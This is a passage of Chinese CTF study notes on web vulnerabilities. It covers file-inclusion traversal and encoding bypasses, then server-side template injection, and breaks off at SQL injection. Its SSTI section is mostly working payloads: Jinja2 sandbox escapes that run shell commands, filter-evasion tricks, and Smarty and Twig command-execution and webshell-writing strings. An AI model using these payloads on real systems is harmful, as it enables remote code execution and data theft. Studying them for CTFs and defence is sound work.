varirables\u83b7\u53d6\u4e0a\u4f20\u6587\u4ef6\u7684\u5b58\u50a8\u8def\u5f84\u548c\u4e34\u65f6\u6587\u4ef6\u540d<\/li>\n<\/ul>\n<h5>\u4e0a\u4f20\u6587\u4ef6\u5305\u542b<\/h5>\n<pre><code>\u5f88\u591a\u7f51\u7ad9\u901a\u5e38\u4f1a\u63d0\u4f9b\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd\uff0c\u914d\u5408\u4e0a\u4f20\u6587\u4ef6\u6f0f\u6d1e\uff0c\u8bbf\u95ee\u4e0a\u4f20\u7684\u6587\u4ef6<\/code><\/pre>\n<h5>\u5176\u4ed6\u5305\u542b<\/h5>\n<ul>\n<li>SMTP\u65e5\u5fd7<\/li>\n<li>xss<\/li>\n<\/ul>\n<h4>\u7ed5\u8fc7\u65b9\u5f0f<\/h4>\n<h5>\u76ee\u5f55\u7a7f\u8d8a<\/h5>\n<pre><code>\u4f7f\u7528 ..\/..\/ \u6765\u8fd4\u56de\u4e0a\u4e00\u76ee\u5f55<\/code><\/pre>\n<h5>\u7f16\u7801\u7ed5\u8fc7\u2026\/\u8fc7\u6ee4<\/h5>\n<ul>\n<li>url\u7f16\u7801<\/li>\n<\/ul>\n<blockquote>\n<p><code>..\/<\/code><br \/>\n%2e%2e%2f<br \/>\n\u2026%2f<br \/>\n%2e%2e\/<\/p>\n<p><code>..\\<\/code><br \/>\n%2e%2e%5c<br \/>\n\u2026%5c<br \/>\n%2e%2e\\<\/p>\n<\/blockquote>\n<ul>\n<li>\u4e8c\u6b21\u7f16\u7801\u7ed5\u8fc7\uff08\u670d\u52a1\u7aef\u989d\u5916\u505a\u4e86\u4e00\u6b21URL\u89e3\u7801\uff0c\u4e3a\u4e86\u65b9\u4fbfutf-8\u7f16\u7801\uff09<\/li>\n<\/ul>\n<blockquote>\n<p><code>..\/<\/code><br \/>\n%252e%252e%252f<br \/>\n<code>..\\<\/code><br \/>\n%252e%252e%255c<\/p>\n<\/blockquote>\n<ul>\n<li>\u5bb9\u5668\/\u670d\u52a1\u7aef\u7f16\u7801\u7ed5\u8fc7<\/li>\n<\/ul>\n<blockquote>\n<p><code>..\/<\/code><\/p>\n<pre><code>..%c0%af\n \u6ce8\uff1aWhy does Directory traversal attack %C0%AF work?\n\n%c0%ae%c0%ae\/\n \u6ce8\uff1ajava\u4e2d\u4f1a\u628a\u201d%c0%ae\u201d\u89e3\u6790\u4e3a\u201d\\uC0AE\u201d\uff0c\u6700\u540e\u8f6c\u4e49\u4e3aASCCII\u5b57\u7b26\u7684\u201d.\u201d\uff08\u70b9\uff09\n Apache Tomcat Directory Traversal<\/code><\/pre>\n<p><code>..\\<\/code><\/p>\n<pre><code>..%c1%9c<\/code><\/pre>\n<\/blockquote>\n<h5>\u6307\u5b9a\u540e\u7f00\u7ed5\u8fc7<\/h5>\n<ul>\n<li><strong>URL query\u6216fragment\u7ed5\u8fc7<\/strong><br \/>\n<code>protocol :\/\/ hostname[:port] \/ path \/ [;parameters][?query]#fragment<\/code><br \/>\n\u7ed5\u8fc7\u5f3a\u5236\u6dfb\u52a0\u7684\u540e\u7f00<\/p>\n<ul>\n<li>query\uff08?\uff09<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<blockquote>\n<pre><code>[\u8bbf\u95ee\u53c2\u6570] ?file=http:\/\/localhost:8081\/phpinfo.php?\n[\u62fc\u63a5\u540e] \u2003?file=http:\/\/localhost:8081\/phpinfo.php?.txt<\/code><\/pre>\n<\/blockquote>\n<pre><code>- fragment\uff08#\uff09<\/code><\/pre>\n<blockquote>\n<p>[\u8bbf\u95ee\u53c2\u6570] ?file=<a href=\"http:\/\/localhost:8081\/phpinfo.php%23\" target=\"_blank\"  rel=\"nofollow\" >http:\/\/localhost:8081\/phpinfo.php%23<\/a><br \/>\n[\u62fc\u63a5\u540e]\u2003 ?file=<a href=\"http:\/\/localhost:8081\/phpinfo.php#.txt\" target=\"_blank\"  rel=\"nofollow\" >http:\/\/localhost:8081\/phpinfo.php#.txt<\/a><\/p>\n<\/blockquote>\n<ul>\n<li>\u957f\u5ea6\u622a\u65ad\n<ul>\n<li>php\u7248\u672c&lt; 5.2.8<\/li>\n<li>\u539f\u7406\uff1a<\/li>\n<li>Windows\u4e0b\u76ee\u5f55\u6700\u5927\u957f\u5ea6\u4e3a256\u5b57\u8282\uff0c\u8d85\u51fa\u7684\u90e8\u5206\u4f1a\u88ab\u4e22\u5f03<\/li>\n<li>Linux\u4e0b\u76ee\u5f55\u6700\u5927\u957f\u5ea6\u4e3a4096\u5b57\u8282\uff0c\u8d85\u51fa\u7684\u90e8\u5206\u4f1a\u88ab\u4e22\u5f03\u3002<\/li>\n<li>\u5229\u7528\u65b9\u6cd5(windows\u53ef\u76f4\u63a5\u7528.\u622a\u65ad)<\/li>\n<li><code>?file=.\/.\/.\/\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\/.\/shell.php<\/code><\/li>\n<\/ul>\n<\/li>\n<li>%00\u622a\u65ad\n<ul>\n<li>magic_quotes_gpc = Off<\/li>\n<li>php\u7248\u672c&lt; 5.3.4<\/li>\n<li>\u5229\u7528\u65b9\u5f0f<\/li>\n<li>?file=shell.php%00<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h4>\u53c2\u8003\u6587\u7ae0<\/h4>\n<p><a href=\"https:\/\/blog.csdn.net\/qq_42181428\/article\/details\/87090539?utm_medium=distrib\" target=\"_blank\"  rel=\"nofollow\" >CTF\u4e2d\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u603b\u7ed3<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/weixin_39714164\/article\/details\/115726778\" target=\"_blank\"  rel=\"nofollow\" >php\u6587\u4ef6\u5305\u542b\u54ea\u4e9b,PHP\u6587\u4ef6\u5305\u542b\u5c0f\u603b\u7ed3<\/a><br \/>\n\u56fe\u6e90\u770b\u96ea\u8bba\u575b<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/f54d656c4dbdf1e3cb3aee113b8a55b1.png#pic_center\" alt=\"\u6587\u4ef6\u5305\u542b\" \/><\/p>\n<h3>0X04 SSTI<\/h3>\n<h4>\u6f0f\u6d1e\u539f\u7406<\/h4>\n<p>\u670d\u52a1\u7aef\u63a5\u6536\u4e86\u7528\u6237\u7684\u6076\u610f\u8f93\u5165\u4ee5\u540e\uff0c\u672a\u7ecf\u4efb\u4f55\u5904\u7406\u5c31\u5c06\u5176\u4f5c\u4e3a Web \u5e94\u7528\u6a21\u677f\u5185\u5bb9\u7684\u4e00\u90e8\u5206\uff0c\u6a21\u677f\u5f15\u64ce\u5728\u8fdb\u884c\u76ee\u6807\u7f16\u8bd1\u6e32\u67d3\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6267\u884c\u4e86\u7528\u6237\u63d2\u5165\u7684\u53ef\u4ee5\u7834\u574f\u6a21\u677f\u7684\u8bed\u53e5\uff0c\u56e0\u800c\u53ef\u80fd\u5bfc\u81f4\u4e86\u654f\u611f\u4fe1\u606f\u6cc4\u9732\u3001\u4ee3\u7801\u6267\u884c\u3001GetShell \u7b49\u95ee\u9898.<br \/>\n\u6e32\u67d3\u65b9\u6cd5\u6709<code>render_template<\/code>\u548c<code>render_template_string<\/code>\u4e24\u79cd<\/p>\n<ul>\n<li><code>render_template<\/code>\u662f\u7528\u6765\u6e32\u67d3\u4e00\u4e2a\u6307\u5b9a\u7684\u6587\u4ef6\u7684\u3002\u4f8b\u5982\uff1areturn render_template(\u2018index.html\u2019)<\/li>\n<li><code>render_template_string<\/code>\u5219\u662f\u7528\u6765\u6e32\u67d3\u4e00\u4e2a\u5b57\u7b26\u4e32\u7684<\/li>\n<\/ul>\n<p>\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u8f93\u5165{{7*7}}\uff0c\u7b26\u5408\u6a21\u677f\u5f15\u64ce\u7684\u89c4\u5219\uff0c\u81ea\u7136\u800c\u7136\u4f1a\u8ba1\u7b97\u51fa49<\/p>\n<pre><code class=\"language-python\">@app.errorhandler(404)\ndef page_not_found(e):\n    template = &#039;&#039;&#039;{%% extends &quot;layout.html&quot; %%}\n{%% block body %%}\n    &lt;div class=&quot;center-content error&quot;&gt;\n        &lt;h1&gt;Oops! That page doesn&#039;t exist.&lt;\/h1&gt;\n        &lt;h3&gt;%s&lt;\/h3&gt;\n    &lt;\/div&gt;\n{%% endblock %%}\n&#039;&#039;&#039; % (request.url)\n    return render_template_string(template), 404<\/code><\/pre>\n<h4>\u653b\u51fb\u65b9\u5f0f<\/h4>\n<p>\u9996\u5148\u8981\u660e\u767d\uff0c\u53ea\u8981\u7528\u5230\u4e86\u6a21\u677f\uff0c\u5c31\u53ef\u80fd\u5b58\u5728\u6a21\u677f\u6ce8\u5165\u6f0f\u6d1e\uff0cSSTI\u4e0d\u5c5e\u4e8e\u4efb\u4f55\u4e00\u79cd\u8bed\u8a00\uff0c\u6c99\u76d2\u7ed5\u8fc7\u4e5f\u4e0d\u662f\uff0c\u6c99\u76d2\u7ed5\u8fc7\u662f\u4e3a\u6a21\u677f\u5f15\u64ce\u6f0f\u6d1e\u8bbe\u8ba1\u51fa\u6765\u7684\u9632\u62a4\u673a\u5236\uff0c\u4e0d\u5141\u8bb8\u4f7f\u7528\u6ca1\u6709\u5b9a\u4e49\u6216\u8005\u58f0\u660e\u7684\u6a21\u5757\u3002<\/p>\n<h5>\u5e38\u89c1\u7684\u6a21\u677f\u5f15\u64ce<\/h5>\n<ul>\n<li>php\n<ul>\n<li>Smarty<\/li>\n<li>Twig<\/li>\n<li>Blade<\/li>\n<\/ul>\n<\/li>\n<li>Java\n<ul>\n<li>JSP<\/li>\n<li>FreeMaker<\/li>\n<li>Velocity<\/li>\n<\/ul>\n<\/li>\n<li>Python\n<ul>\n<li>Jinjia2<\/li>\n<li>django<\/li>\n<li>tornado<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/b86da31be122618fd824faa2dd85a9d9.png#pic_center\" alt=\"\u6a21\u677f\u5f15\u64ce\u5224\u65ad\u65b9\u6cd5\" \/><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5>\u5229\u7528\u65b9\u6cd5<\/h5>\n<p>\u4ee5\u51fa\u9898\u6700\u5e38\u89c1\u7684Jinjia2\u4e3a\u4f8b\uff0c\u8bf4\u660e\u5229\u7528\u65b9\u6cd5\uff0c\u6240\u6709\u7684\u6a21\u677f\u5f15\u64ce\u5229\u7528\u601d\u8def\u90fd\u662f\u4e00\u6837\u7684\uff0c\u53ea\u662f\u4f7f\u7528\u7684\u8bed\u6cd5\u4e0d\u540c<\/p>\n<ol>\n<li>\u83b7\u53d6\u57fa\u7c7b<\/li>\n<\/ol>\n<pre><code class=\"language-python\">{{[].__class__}}\n&#039;&#039;.__class__.__mro__[2]\n().__class__.__base__\n[].__class__.__bases__[0]<\/code><\/pre>\n<ol start=\"2\">\n<li>\u83b7\u53d6\u6240\u6709\u7ee7\u627f\u81eaobject\u7684\u7c7b<\/li>\n<\/ol>\n<pre><code class=\"language-python\">&#039;&#039;.__class__.__mro__[2].__subclasses__()  \n# list.index\u8f93\u51fa\u60f3\u8981\u7684\u7c7b\u7684\u4f4d\u7f6e\n&#039;&#039;.__class__.__mro__[2].__subclasses__().index(file)<\/code><\/pre>\n<ol start=\"3\">\n<li>\u5bfb\u627e\u53ef\u5229\u7528\u7c7b<br \/>\nimport requests<br \/>\nimport time<br \/>\nimport html<\/li>\n<\/ol>\n<pre><code class=\"language-python\">for i in range(1, 500):\n    url = &quot;ip\/?search={{&#039;&#039;.__class__.__mro__[2].__subclasses__()[&quot;+str(i)+&quot;]}}&quot;\n    req = requests.get(url)\n    time.sleep(0.1)\n    # class_you_look_for\u4e3a\u4f60\u60f3\u8981\u5bfb\u627e\u7684\u7c7b\n    if &quot;class_you_look_for&quot; in html.escape(req.text):\n        print(i)\n        print(html.unescape(req.text))\n        break<\/code><\/pre>\n<ol start=\"4\">\n<li>\u5229\u7528\u65b9\u6cd5<br \/>\n\u627e\u5230\u4f4d\u7f6e\u540e\u8c03\u7528\u6267\u884c\u547d\u4ee4<\/li>\n<\/ol>\n<ul>\n<li>&lt;type \u2018file\u2019&gt;<\/li>\n<\/ul>\n<pre><code class=\"language-python\">[].__class__.__base__.__subclasses__()[40](&#039;\/etc\/passwd&#039;).read()<\/code><\/pre>\n<ul>\n<li>&lt;class \u2018site._Printer\u2019&gt;<br \/>\n\u4f7f\u7528os\u7684popen\u6267\u884c\u547d\u4ee4<\/li>\n<\/ul>\n<pre><code class=\"language-python\">{{[].__class__.__base__.__subclasses__()[71].__init__[&#039;__glo&#039;+&#039;bals__&#039;][&#039;os&#039;].popen(&#039;ls&#039;).read()}}\n\n[].__class__.__base__.__subclasses__()[71].__init__[&#039;__glo&#039;+&#039;bals__&#039;][&#039;os&#039;].popen(&#039;ls \/flasklight&#039;).read()\n\n[].__class__.__base__.__subclasses__()[71].__init__[&#039;__glo&#039;+&#039;bals__&#039;][&#039;os&#039;].popen(&#039;cat coomme_geeeett_youur_flek&#039;).read()<\/code><\/pre>\n<p>\u5982\u679csystem\u88ab\u8fc7\u6ee4\uff0c\u4f7f\u7528os\u7684listdir\u8bfb\u53d6\u76ee\u5f55+file\u6a21\u5757\u8bfb\u53d6\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-python\">().__class__.__base__.__subclasses__()[71].__init__.__globals__[&#039;os&#039;].listdir(&#039;.&#039;)<\/code><\/pre>\n<ul>\n<li>&lt;class \u2018subprocess.Popen\u2019&gt;<\/li>\n<\/ul>\n<pre><code class=\"language-python\">{{&#039;&#039;.__class__.__mro__[2].__subclasses__()[258](&#039;ls&#039;,shell=True,stdout=-1).communicate()[0].strip()}}\n\n{{&#039;&#039;.__class__.__mro__[2].__subclasses__()[258](&#039;ls \/flasklight&#039;,shell=True,stdout=-1).communicate()[0].strip()}}\n\n{{&#039;&#039;.__class__.__mro__[2].__subclasses__()[258](&#039;cat \/flasklight\/coomme_geeeett_youur_flek&#039;,shell=True,stdout=-1).communicate()[0].strip()}}<\/code><\/pre>\n<ul>\n<li>&lt;class \u2018warnings.catch_warnings\u2019&gt;<br \/>\n\u4e00\u822c\u4f4d\u7f6e\u4e3a59\uff0c\u53ef\u4ee5\u7528\u5b83\u6765\u8c03\u7528file\u3001os\u3001eval\u3001commands\u7b49<\/li>\n<\/ul>\n<pre><code class=\"language-python\"># \u8c03\u7528file\uff0c\u628a read() \u6539\u4e3a write() \u5c31\u662f\u5199\u6587\u4ef6\n&#039;&#039;.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[&#039;__builtins__&#039;][&#039;file&#039;](&#039;\/etc\/passwd&#039;).read()   \n# import os\n[].__class__.__base__.__subclasses__()[189].__init__.__globals__[&#039;__builtins__&#039;][&#039;__imp&#039;+&#039;ort__&#039;](&#039;os&#039;).__dict__[&#039;pop&#039;+&#039;en&#039;](&#039;ls \/&#039;).read()\n#\u8c03\u7528eval\n[].__class__.__base__.__subclasses__()[59].__init__[&#039;__glo&#039;+&#039;bals__&#039;][&#039;__builtins__&#039;][&#039;eval&#039;](&quot;__import__(&#039;os&#039;).popen(&#039;ls&#039;).read()&quot;)\n[].__class__.__base__.__subclasses__()[189].__init__.__globals__[&#039;__builtins__&#039;][&#039;ev&#039;+&#039;al&#039;](&#039;__imp&#039;+&#039;ort__(&quot;os&quot;).po&#039;+&#039;pen(&quot;ls .\/&quot;).read()&#039;)\n# \u8c03\u7528system\n>&gt;&gt; [].__class__.__base__.__subclasses__()[59].__init__.__globals__[&#039;linecache&#039;].__dict__.values()[12].__dict__.values()[144](&#039;whoami&#039;)\n# commands\u547d\u4ee4\u6267\u884c\n{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[&#039;__builtins__&#039;][&#039;__import__&#039;](&#039;commands&#039;).getstatusoutput(&#039;ls&#039;)<\/code><\/pre>\n<h4>\u7ed5\u8fc7\u65b9\u5f0f<\/h4>\n<h5>\u8fc7\u6ee4[]<\/h5>\n<ul>\n<li>\n<p>\u4f7f\u7528<code>__getitem__<\/code><\/p>\n<\/li>\n<li>\n<p>\u4f7f\u7528<code>pop()<\/code>\uff0c\u4f46\u662fpop\u4f1a\u5220\u9664\u91cc\u9762\u7684\u952e<\/p>\n<\/li>\n<\/ul>\n<pre><code class=\"language-python\">{{&#039;&#039;.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)(&#039;\/flag&#039;).read()}}<\/code><\/pre>\n<ul>\n<li>\u4f7f\u7528<code>get()<\/code>\uff0c\u8fd4\u56de\u6307\u5b9a\u952e\u7684\u503c\uff0c\u5982\u679c\u503c\u4e0d\u5728\u5b57\u5178\u4e2d\u8fd4\u56dedefault\u503c<\/li>\n<li>\u4f7f\u7528<code>setdefault()<\/code>\uff0c\u548cget()\u7c7b\u4f3c, \u4f46\u5982\u679c\u952e\u4e0d\u5b58\u5728\u4e8e\u5b57\u5178\u4e2d\uff0c\u5c06\u4f1a\u6dfb\u52a0\u952e\u5e76\u5c06\u503c\u8bbe\u4e3adefault<\/li>\n<\/ul>\n<pre><code class=\"language-python\">{{url_for.__globals__[&#039;__builtins__&#039;]}}\n{{url_for.__globals__.__getitem__(&#039;__builtins__&#039;)}}\n{{url_for.__globals__.pop(&#039;__builtins__&#039;)}}\n{{url_for.__globals__.get(&#039;__builtins__&#039;)}}\n{{url_for.__globals__.setdefault(&#039;__builtins__&#039;)}}<\/code><\/pre>\n<h5>\u8fc7\u6ee4.<\/h5>\n<pre><code class=\"language-python\">().__class__\n()[&quot;__class__&quot;]\n()|attr(&quot;__class__&quot;)\n().__getattribute__(&quot;__class__&quot;)<\/code><\/pre>\n<h5>\u8fc7\u6ee4[\u2019\u2019] (\u2019\u2019) {}<\/h5>\n<pre><code class=\"language-python\"># request\u4f20\u53c2\nrequest.args.x1     get\u4f20\u53c2\nrequest.values.x1   get\u3001post\u4f20\u53c2\nrequest.cookies\nrequest.form.x1     post\u4f20\u53c2  (Content-Type:applicaation\/x-www-form-urlencoded\u6216multipart\/form-data)\nrequest.data        post\u4f20\u53c2  (Content-Type:a\/b)\nrequest.json        post\u4f20json  (Content-Type: application\/json)\n# e.g. \n{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}\nx1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__(&#039;os&#039;).popen(&#039;cat \/flag&#039;).read()<\/code><\/pre>\n<h5>\u8fc7\u6ee4\u5173\u952e\u5b57<\/h5>\n<pre><code class=\"language-python\"># \u5355\u5f15\u53f7\u53cc\u5f15\u53f7\u90fd\u53ef\uff0c+\u53f7\u53ef\u7701\u7565\n&quot;cla&quot;+&quot;ss&quot;\n# \u53cd\u8f6c\n&quot;__ssalc__&quot;[::-1]\n# ascii\u8f6c\u6362\n&quot;{0:c}&quot;.format(97)=&#039;a&#039;\n&quot;{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}&quot;.format(95,95,99,108,97,115,115,95,95)=&#039;__class__&#039;\n# \u7f16\u7801\u7ed5\u8fc7\n&quot;__class__&quot;==&quot;\\x5f\\x5fclass\\x5f\\x5f&quot;==&quot;\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f&quot;\n# \u5bf9\u4e8epython2\u7684\u8bdd\uff0c\u8fd8\u53ef\u4ee5\u5229\u7528base64\u8fdb\u884c\u7ed5\u8fc7\n&quot;__class__&quot;==(&quot;X19jbGFzc19f&quot;).decode(&quot;base64&quot;)\n# \u5229\u7528chr\u51fd\u6570\n#\u5148\u627e\u5230builtins\n{% set chr=url_for.__globals__[&#039;__builtins__&#039;].chr %}\n{{&quot;&quot;[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}\n# format\n&quot;%c%c%c%c%c%c%c%c%c&quot;|format(95,95,99,108,97,115,115,95,95)==&#039;__class__&#039;\n&quot;&quot;[&quot;%c%c%c%c%c%c%c%c%c&quot;|format(95,95,99,108,97,115,115,95,95)]\n#Jinjia2\u53ef\u7528~\u62fc\u63a5\n{%set a=&#039;__cla&#039; %}{%set b=&#039;ss__&#039;%}{{&quot;&quot;[a~b]}}\n#\u5927\u5c0f\u5199\u8f6c\u6362\uff0c\u82e5\u53ea\u8fc7\u6ee4\u4e86\u5c0f\u5199\n&quot;&quot;[&quot;__CLASS__&quot;.lower()]\n&quot;&quot;[&quot;__CLASS__&quot;|lower]\n# join\n&quot;&quot;[[&#039;__clas&#039;,&#039;s__&#039;]|join]==&quot;&quot;[(&#039;__clas&#039;,&#039;s__&#039;)|join]==&quot;&quot;[&quot;__class__&quot;]\n# replace\n&quot;__claee__&quot;|replace(&quot;ee&quot;,&quot;ss&quot;)\n# reverse\n&quot;__ssalc__&quot;|reverse\n# select\u62fc\u63a5\n(()|select|string)[24]~\n(()|select|string)[24]~\n(()|select|string)[15]~\n(()|select|string)[20]~\n(()|select|string)[6]~\n(()|select|string)[18]~\n(()|select|string)[18]~\n(()|select|string)[24]~\n(()|select|string)[24]~ == &quot;__class__&quot;\n# url_for\u548cget_flash_message\nget_flashed_messages.__globals__[&#039;current_app&#039;].config\nget_flashed_messages.__globals__[&#039;builtins&#039;][&#039;eval&#039;]\nurl_for._globals_[\u2018current_app\u2019].config\nurl_for._globals_[&#039;builtins&#039;][&#039;eval&#039;]\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h4>\u4e00\u4e9bpayload<\/h4>\n<h5>python2<\/h5>\n<pre><code class=\"language-python\">[].__class__.__base__.__subclasses__()[71].__init__.__globals__[&#039;os&#039;].system(&#039;ls&#039;)\n[].__class__.__base__.__subclasses__()[76].__init__.__globals__[&#039;os&#039;].system(&#039;ls&#039;)\n&quot;&quot;.__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__[&#039;__builtins__&#039;][&#039;eval&#039;](&#039;__import__(&quot;os&quot;).system(&quot;ls&quot;)&#039;)\n&quot;&quot;.__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__[&#039;__builtins__&#039;][&#039;eval&#039;](&#039;__import__(&quot;os&quot;).system(&quot;ls&quot;)&#039;)\n&quot;&quot;.__class__.__mro__[-1].__subclasses__()[40](filename).read()\n&quot;&quot;.__class__.__mro__[-1].__subclasses__()[29].__call__(eval,&#039;os.system(&quot;ls&quot;)&#039;)<\/code><\/pre>\n<h5>python3<\/h5>\n<pre><code class=\"language-python\">&#039;&#039;.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13][&#039;eval&#039;]\n&quot;&quot;.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__[&#039;__builtins__&#039;][&#039;eval&#039;]<\/code><\/pre>\n<h5>Jinjia2\u901a\u7528payload<\/h5>\n<pre><code class=\"language-python\">{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==&#039;catch_warnings&#039; %}{{ c.__init__.__globals__[&#039;__builtins__&#039;].eval(&quot;__import__(&#039;os&#039;).popen(&#039;&lt;command&gt;&#039;).read()&quot;) }}{% endif %}{% endfor %}\n# \u76f2\u6ce8\n{% if &#039;&#039;.__class__.__mro__[2].__subclasses__()[40](&#039;\/tmp\/test&#039;).read()[0:1]==&#039;p&#039; %}~p0~{% endif %}<\/code><\/pre>\n<h5>Smarty<\/h5>\n<pre><code class=\"language-python\">#\u7248\u672c\u53f7\n{$smarty.version}\n#php\u6307\u4ee4\uff0csmarty3\u5f03\u7528\n{php}{\/php}\n#php7\u65e0\u6cd5\u4f7f\u7528\n&lt;script language=&quot;php&quot;&gt;phpinfo();&lt;\/script&gt;\n#\u9759\u6001\u65b9\u6cd5\npublic function getStreamVariable($variable){ $_result = &#039;&#039;; $fp = fopen($variable, &#039;r+&#039;); if ($fp) { while (!feof($fp) &amp;&amp; ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this-&gt;smarty) ? $this-&gt;smarty : $this; if ($smarty-&gt;error_unassigned) { throw new SmartyException(&#039;Undefined stream variable &quot;&#039; . $variable . &#039;&quot;&#039;); } else { return null; } }\n#payload\n{if phpinfo()}{\/if}\n{if system(&#039;ls&#039;)}{\/if}\n{if system(&#039;cat \/flag&#039;)}{\/if}\n{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,&quot;&lt;?php passthru($_GET[&#039;cmd&#039;]); ?&gt;&quot;,self::clearConfig())}<\/code><\/pre>\n<h5>twig<\/h5>\n<pre><code class=\"language-python\">{{_self.env.registerUndefinedFilterCallback(&quot;exec&quot;)}}{{_self.env.getFilter(&quot;cat \/flag&quot;)}}<\/code><\/pre>\n<h5>shtml<\/h5>\n<pre><code class=\"language-python\">&lt;!--#exec cmd=&quot;&quot;--&gt;<\/code><\/pre>\n<h5>Tornado<\/h5>\n<p>\u683c\u5f0f\u7c7b\u4f3c\u4e8ejinjia2<br \/>\n<code>cookie_secret<\/code>\u5728<code>Application<\/code>\u5bf9\u8c61<code>settings<\/code>\u7684\u5c5e\u6027\u4e2d \uff0c\u8bbf\u95ee\u5b83\u7684\u8bdd\u5c31\u9700\u8981\u77e5\u9053\u5b83\u7684\u5c5e\u6027\u540d\u5b57<br \/>\n<code>self.application.settings<\/code>\u6709\u4e00\u4e2a\u522b\u540d\u662f<code>RequestHandler.settings<\/code>\uff0c\u5176\u4e2d<code>handler<\/code>\u53c8\u662f\u6307\u5411\u5904\u7406\u5f53\u524d\u8fd9\u4e2a\u9875\u9762\u7684<code>RequestHandler<\/code>\u5bf9\u8c61\uff0c<code>RequestHandler.settings<\/code>\u6307\u5411<code>self.application.settings<\/code>\uff0c\u56e0\u6b64<code>handler.settings<\/code>\u6307\u5411<code>RequestHandler.application.settings<\/code><\/p>\n<h5>GO\u6a21\u677f\u6ce8\u5165<\/h5>\n<p><code>{{.secret_key}}<\/code>\u6216<code>{{.}}<\/code>\uff0c\u6ce8\u610f\u6709\u4e2a\u5360\u4f4d\u7b26<code>.<\/code><br \/>\n<a href=\"https:\/\/pkg.go.dev\/text\/template\" target=\"_blank\"  rel=\"nofollow\" >Go template<\/a><br \/>\n<a href=\"https:\/\/tyskill.github.io\/posts\/gossti\/\" target=\"_blank\"  rel=\"nofollow\" >Go SSTI\u521d\u63a2<\/a><\/p>\n<h4>\u53c2\u8003\u6587\u7ae0<\/h4>\n<p><a href=\"https:\/\/blog.csdn.net\/qq_44657899\/article\/details\/104307948?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1.pc_relevant_default&amp;spm=1001.2101.3001.4242.2&amp;utm_relevant_index=4\" target=\"_blank\"  rel=\"nofollow\" >\u6a21\u677f\u6ce8\u5165\u603b\u7ed3(SSTI)<\/a><br \/>\n<a href=\"https:\/\/www.cnblogs.com\/lktop\/p\/13775854.html\" target=\"_blank\"  rel=\"nofollow\" >SSTI\u5229\u7528\u601d\u8def<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/miuzzx\/article\/details\/110220425\" target=\"_blank\"  rel=\"nofollow\" >SSTI\u6a21\u677f\u6ce8\u5165\u7ed5\u8fc7\uff08\u8fdb\u9636\u7bc7\uff09<\/a><\/p>\n<h3>0X05 SQL\u6ce8\u5165<\/h3>\n<h4>\u6f0f\u6d1e\u539f\u7406<\/h4>\n<p>web\u5e94\u7528\u7a0b\u5e8f\u5bf9\u7528\u6237\u8f93\u5165\u6570\u636e\u7684\u5408\u6cd5\u6027\u6ca1\u6709\u5224\u65ad\u6216\u8fc7\u6ee4\u4e0d\u4e25\u683c\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728web\u5e94\u7528\u7a0b\u5e8f\u4e2d\u4e8b\u5148\u5b9a\u4e49\u597d\u7684\u67e5\u8be2\u8bed\u53e5\u7684\u7ed3\u5c3e\u4e0a\u6dfb\u52a0\u989d\u5916\u7684SQL\u8bed\u53e5\uff0c\u5728\u7ba1\u7406\u5458\u4e0d\u77e5\u60c5\u7684\u60c5\u51b5\u4e0b\u5b9e\u73b0\u975e\u6cd5\u64cd\u4f5c\uff0c\u4ee5\u6b64\u6b3a\u9a97\u6570\u636e\u5e93\u670d\u52a1\u5668\u6267\u884c\u975e\u6388\u6743\u7684\u4efb\u610f\u67e5\u8be2\uff0c\u4ece\u800c\u8fdb\u4e00\u6b65\u5f97\u5230\u76f8\u5e94\u7684\u6570\u636e\u4fe1\u606f<\/p>\n<p>\u5728\u9875\u9762\u4e2d\u6709\u6570\u636e\u4ea4\u4e92\u7684\u5730\u65b9\uff0c\u653b\u51fb\u8005\u6784\u9020sql\u8bed\u53e5\uff0c\u4f7fweb\u670d\u52a1\u5668\u6267\u884c\u6076\u610f\u547d\u4ee4\u8bbf\u95ee\u6570\u636e\u5e93\u3002<\/p>\n<p>SQL\u6ce8\u5165\u6f0f\u6d1e\u6ee1\u8db3\u7684\u4e24\u4e2a\u6761\u4ef6\uff1a<\/p>\n<pre><code>- \u53c2\u6570\u7528\u6237\u53ef\u4ee5\u63a7\u5236\n- 